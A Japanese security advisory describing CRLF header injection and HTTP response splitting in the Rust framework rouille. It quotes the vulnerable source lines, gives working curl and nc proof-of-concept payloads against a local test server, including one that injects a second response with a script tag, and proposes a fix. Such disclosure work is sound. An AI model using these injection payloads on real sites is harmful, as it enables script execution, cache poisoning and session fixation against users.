
セキュリティ勧告: 検証されていないレスポンスヘッダー値によるHTTPレスポンス分割 (rouille)
割り当てられたCVE ID: CVE-2026-66746
rouilleは、キャリッジリターンやラインフィードをチェックせずにレスポンスヘッダー値をクライアントに書き込みます。したがって、攻撃者の影響を受けたテキストをヘッダー値に配置するアプリケーションは、余分なヘッダー、または完全な2つ目のHTTPレスポンス全体をワイヤ上に送出します。
rouilleの2つの特性により、これは通常のコードで到達可能になります。Request::get_paramはパーセントデコードを行うため、クエリ文字列内の%0d%0aは実際のCRLFになります。またsession::sessionは、クライアント自身のCookie値を一切検証せずにSet-Cookieへコピーします。
他の広く使われているRust HTTPスタックはすべて、これを型レベルで拒否します。http::HeaderValue::from_strはCRとLFに対してInvalidHeaderValueを返すため、hyper、axum、actix-web、warpが同じように露出されないのはそのためです。
リポジトリURL: https://github.com/tomaka/rouille
| 最初に影響を受けるバージョン | 以下のレスポンスヘッダーパスについては0.4.0 (2016-12-14) |
| 最後に影響を受けるバージョン | 3.6.2 (2023-04-24)、現在のリリース |
| 修正バージョン | 執筆時点では修正版なし |
0.4.0より前のリリースは、調査されなかった別のコードパスを通じてレスポンスを送出するため、どちらの影響もあるとは断定されていません。パスBで説明されているsession::sessionのリフレクションは0.3.2 (2016-12-02)以降に存在します。
CWE-113 (HTTPヘッダーにおけるCRLFシーケンスの不適切な無害化)、CWE-93 (CRLFインジェクション)の特定のケースです。
CVSS 4.0 基本スコア 5.3 (中)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
パスAは、リモートの認証されていない攻撃者と、攻撃者が提供するリンクをたどる被害者を必要とします。攻撃者は、アプリケーションがリクエスト由来の任意の文字列をレスポンスヘッダーに配置することを必要とします。nextやreturn_toクエリパラメータへのリダイレクトが一般的なケースです。
パスBは、アプリケーションがsession::sessionを呼び出してセッションIDを読み取ることだけを必要とします。攻撃者は自分自身のCookieヘッダーを制御するため、それ自体は自己攻撃に過ぎません。共有キャッシュが分割されたレスポンスを保存する場合、または被害者のブラウザにクッキーを設定する別の方法と組み合わせた場合に、他人への攻撃になります。
rouille/src/lib.rsの624行目から640行目は、値をそのまま渡しています:
624 for (key, value) in rouille_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
Header::from_bytesはバイトがASCIIであることだけをチェックし、CRとLFはASCIIです。tiny_http-0.12.0/src/common.rsの166行目から172行目:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
その後、値はエスケープなしで書き込まれます。tiny_http-0.12.0/src/response.rsの99行目から104行目:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Request::get_paramはパーセントエスケープをデコードするため、呼び出し元は実際の制御文字を受け取ります。rouille/src/lib.rsの928行目から932行目:
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
rouille/src/session.rsは、59行目でクライアントのクッキーからキーを取得し、75行目から81行目でそれをレスポンスヘッダーに補間します:
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
ステップ1. クエリパラメータへリダイレクトするサーバーを起動します。
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
ステップ2. パラメータに%0d%0aを入れてリクエストします。
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
結果. X-Injectedが独自のヘッダーとして到着します:
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
ステップ3. ペイロードをヘッダーの終わりを越えて拡張し、完全な2つ目のレスポンスを送出します。
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
結果. 1つのリクエストに対して、2つの完全なレスポンス。2つ目には攻撃者が選んだステータス行、コンテンツタイプ、ボディが含まれます:
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
ステップ1. 文書化されているセッションのイディオムを使用してサーバーを起動します。
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
ステップ2. 値に単独のLFを含むクッキーを送信します。以下の\nは単一のラインフィード、\r\nはCRLFです。
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
結果. 値がSet-Cookieから抜け出して独自の行に現れます:
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
パスBには、注目に値する3つの制限があります。通るのは単独のLFだけです。なぜならCRLFはtiny_http内でヘッダー行を終了させてしまうため、クライアントまたはキャッシュが単独のLFを終端として扱う必要があるからです。インジェクション地点より後ろのすべては、同じformat!による; Max-Age=3600; Path=/; HttpOnlyという接尾辞をまだ保持しているため、プリミティブはクリーンな任意ヘッダーではなく、固定された末尾文字列を持つヘッダーです。そして攻撃者は自分自身のクッキーしか制御できません。パスAにはこれらの制限はありません。
オリジンのセキュリティコンテキストでのスクリプト実行、共有キャッシュが被害者のURLに対して注入されたレスポンスを保存するキャッシュポイズニング、注入されたSet-Cookieによるセッション固定化、そしてCSPやCORSなどのセキュリティヘッダーの上書き。パスAは実際のCRLFを生成するため、すべてのクライアントとキャッシュがそこで分割します。
tiny_httpに渡す前に、rouille/src/lib.rsの634行目あたりのServer::processでヘッダー値を検証します:
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
問題のあるヘッダーを破棄するのではなく、レスポンス全体に対して500を返し、レスポンスを黙って変更するのではなく失敗を可視化します。
session::sessionでもセッションキーを検証します: [A-Za-z0-9]+ではないクッキー値を拒否し、代わりに新しいIDを生成します。Response::with_additional_header、with_unique_header、redirect_*コンストラクタでチェックすれば、アプリケーションの作者が対処できる呼び出し元の場所でエラーを表面化できます。